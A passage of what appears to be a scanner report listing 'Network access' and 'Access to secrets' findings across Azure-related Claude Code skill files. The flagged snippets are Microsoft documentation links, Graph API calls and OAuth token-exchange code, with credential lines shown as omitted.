    | VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie
  • Network accessline 15
    | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules]
  • Network accessline 16
    | Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https
  • Network accessline 17
    | Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt
  • Network accessline 18
    | Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview)
  • Network accessline 19
    | Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/data-relational.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea
  • Network accessline 14
    | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami
  • Network accessline 15
    | SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove
  • Network accessline 16
    | MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) |
  • Network accessline 17
    | PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/messaging.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](
  • Network accessline 13
    | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https
  • Network accessline 14
    | Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h
  • Network accessline 15
    | Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/monitoring.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o
  • Network accessline 12
    | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove
  • Network accessline 13
    | Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md

  • Network accessline 14
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.
  • Network accessline 15
    |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht
  • Network accessline 16
    | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht
  • Network accessline 17
    | Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https
  • Network accessline 18
    | DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic
  • Network accessline 19
    | VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn
  • Network accessline 20
    | Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming
  • Network accessline 21
    | Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-core.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](
  • Network accessline 17
    | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) 
  • Network accessline 18
    | Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [
  • Network accessline 19
    | NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) 
  • Network accessline 20
    | Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | 
  • Network accessline 21
    | Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network-
  • Network accessline 22
    | Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr
  • Network accessline 23
    | NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt
  • Network accessline 14
    | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | 
  • Network accessline 15
    | Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview
  • Network accessline 16
    | Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https
  • Network accessline 17
    | Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r

harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/security.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l
  • Network accessline 12
    | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/
  • Network accessline 13
    | Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident

harness/claude-code/skills/azure-entra-agent-id/SKILL.md

  • Network accessline 25
    |----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Network accessline 26
    | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator |
  • Network accessline 27
    | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Network accessline 126
    GRAPH = "https://graph.microsoft.com/v1.0"
  • Network accessline 150
    "displayName": "My Agent Blueprint",     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 151
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 152
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 153
    ], } resp = requests.post(
  • Network accessline 154
    } resp = requests.post(     f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint",
  • Network accessline 155
    resp = requests.post(
  • Network accessline 172
    sp_body = {"appId": app_id} resp = requests.post(
  • Network accessline 173
    resp = requests.post(
  • Network accessline 189
    "agentIdentityBlueprintId": app_id,     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 190
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 191
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 192
    ], } resp = requests.post(
  • Network accessline 193
    } resp = requests.post(     f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity",
  • Network accessline 194
    resp = requests.post(
  • Network accessline 232
    graph_sp = requests.get(
  • Network accessline 239
    requests.post(
  • Network accessline 257
    requests.post(
  • Network accessline 294
    Base URL: `https://graph.microsoft.com/v1.0`.
  • Network accessline 359
    | Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 360
    |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-
  • Network accessline 361
    | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 362
    | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup |
  • Network accessline 363
    | Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 364
    | Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |

harness/claude-code/skills/azure-entra-agent-id/references/known-limitations.md

  • Network accessline 3
    Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues)
  • Network accessline 51
    27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For
  • Network accessline 52
    28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit
  • Network accessline 56
    Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).

harness/claude-code/skills/azure-entra-agent-id/references/oauth2-token-flow.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 21
    requests.patch(
  • Network accessline 33
    fic_body = {     "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 34
    "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",     "subject": mi_principal_id,   # The MI's object ID (principalId), NOT client ID
  • Network accessline 35
    "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 37
    "audiences": ["api://AzureADTokenExchange"], } requests.post(
  • Network accessline 38
    } requests.post(     f"{GRAPH}/applications/{blueprint_obj_id}"
  • Network accessline 39
    requests.post(
  • Network accessline 62
    jwks_client = PyJWKClient(     f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 63
    f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 70
    algorithms=["RS256"],     audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 71
    audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/", )
  • Network accessline 72
    issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 79
    - **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 80
    - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d
  • Network accessline 81
    - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 82
    - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash).
  • Network accessline 100
    $credential = Invoke-MgGraphRequest -Method POST `     -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 101
    -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 111
    resp = requests.post(

harness/claude-code/skills/azure-entra-agent-id/references/obo-blueprint-setup.md

  • Network accessline 39
    }, } requests.patch(
  • Network accessline 40
    } requests.patch(     f"{GRAPH}/applications/{blueprint_obj_id}",
  • Network accessline 41
    requests.patch(
  • Network accessline 63
    requests.post(
  • Network accessline 82
    tenant_id=tenant_id,     client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400",
  • Network accessline 83
    client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400", )
  • Network accessline 84
    redirect_uri="http://localhost:8400",
  • Network accessline 89
    > If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.

harness/claude-code/skills/azure-entra-agent-id/references/runtime-token-exchange.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 8
    Step 1: Blueprint credentials + fmi_path  →  Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 9
    Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 19
    TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 34
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 35
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 36
    req = urllib.request.Request(
  • Network accessline 38
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 39
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())["access_token"]
  • Network accessline 40
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 47
    |-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Network accessline 48
    | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID |
  • Network accessline 49
    | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 86
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",         "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 87
    "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 88
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 89
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 90
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 91
    req = urllib.request.Request(
  • Network accessline 93
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 94
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 95
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 115
    "assertion": user_token,         "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 116
    "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 117
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 118
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 119
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 120
    req = urllib.request.Request(
  • Network accessline 122
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 123
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 124
    with urllib.request.urlopen(req, timeout=10) as resp:

harness/claude-code/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md

  • Network accessline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 16
    def get_agent_token(downstream_api: str = "Graph") -> str:     url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 17
    url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)     resp.raise_for_status()
  • Network accessline 18
    resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 33
    url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}"     resp = requests.get(         url,
  • Network accessline 34
    resp = requests.get(
  • Network accessline 46
    const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000";
  • Network accessline 56
    const res = await fetch(url.toString());
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    resp = requests.get(
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    resp = requests.get(
  • Network accessline 105
    - "5001:5000"     environment:       - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 106
    environment:       - AzureAd__Instance=https://login.microsoftonline.com/       - AzureAd__TenantId=${TENANT_ID}
  • Network accessline 107
    - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 110
    - AzureAd__ClientCredentials__0__SourceType=ClientSecret       - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET}       - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 113
    - DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default
  • Network accessline 115
    - ASPNETCORE_URLS=http://+:5000
  • Network accessline 120
    - "3000:3000"     environment:       - SIDECAR_URL=http://sidecar:5000
  • Network accessline 121
    environment:       - SIDECAR_URL=http://sidecar:5000       - AGENT_CLIENT_ID=${AGENT_CLIENT_ID}
  • Network accessline 122
    - SIDECAR_URL=http://sidecar:5000
  • Network accessline 147
    env:         - name: SIDECAR_URL           value: "http://localhost:5000"
  • Network accessline 148
    - name: SIDECAR_URL           value: "http://localhost:5000"       - name: sidecar
  • Network accessline 149
    value: "http://localhost:5000"
  • Network accessline 166
    value: "SignedAssertionFilePath"         - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"
  • Network accessline 167
    - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"         resources:
  • Network accessline 168
    value: "http://127.0.0.1:5000"         resources:           requests: { memory: "128Mi", cpu: "100m" }
  • Network accessline 184
    1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`

harness/claude-code/skills/azure-entra-agent-id/references/sdk-sidecar.md

  • Network accessline 5
    Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags.
  • Network accessline 48
    env: - name: AzureAd__Instance   value: "https://login.microsoftonline.com/"
  • Network accessline 49
    - name: AzureAd__Instance   value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId
  • Network accessline 50
    value: "https://login.microsoftonline.com/"
  • Network accessline 82
    - name: DownstreamApis__Graph__BaseUrl   value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 83
    value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 84
    - name: DownstreamApis__Graph__Scopes__0   value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken
  • Network accessline 85
    value: "https://graph.microsoft.com/.default"
  • Network accessline 117
    | Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 118
    |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 119
    | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 120
    | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 121
    | Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration |
  • Network accessline 122
    | Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints |
  • Network accessline 123
    | Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities |
  • Network accessline 124
    | Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security |
  • Network accessline 125
    | OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |

harness/claude-code/skills/azure-entra-app-registration/SKILL.md

  • Network accessline 73
    - **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 74
    - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow
  • Network accessline 75
    - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 205
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
  • Network accessline 206
    - [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols)
  • Network accessline 207
    - [MSAL Documentation](https://learn.microsoft.com/entra/msal/)
  • Network accessline 208
    - [Microsoft Graph API](https://learn.microsoft.com/graph/)

harness/claude-code/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep

  • Network accessline 18
    @description('Redirect URIs for web application') param webRedirectUris array = [   'https://localhost:5001/signin-oidc'
  • Network accessline 19
    param webRedirectUris array = [   'https://localhost:5001/signin-oidc'   'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 20
    'https://localhost:5001/signin-oidc'
  • Network accessline 21
    'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 24
    @description('Redirect URIs for single-page application') param spaRedirectUris array = [   'http://localhost:3000'
  • Network accessline 25
    param spaRedirectUris array = [   'http://localhost:3000'   'https://myapp.azurewebsites.net'
  • Network accessline 26
    'http://localhost:3000'
  • Network accessline 27
    'https://myapp.azurewebsites.net'
  • Network accessline 53
    enableAccessTokenIssuance: false     }     homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 54
    }     homePageUrl: 'https://myapp.azurewebsites.net'     logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 55
    homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 56
    logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 65
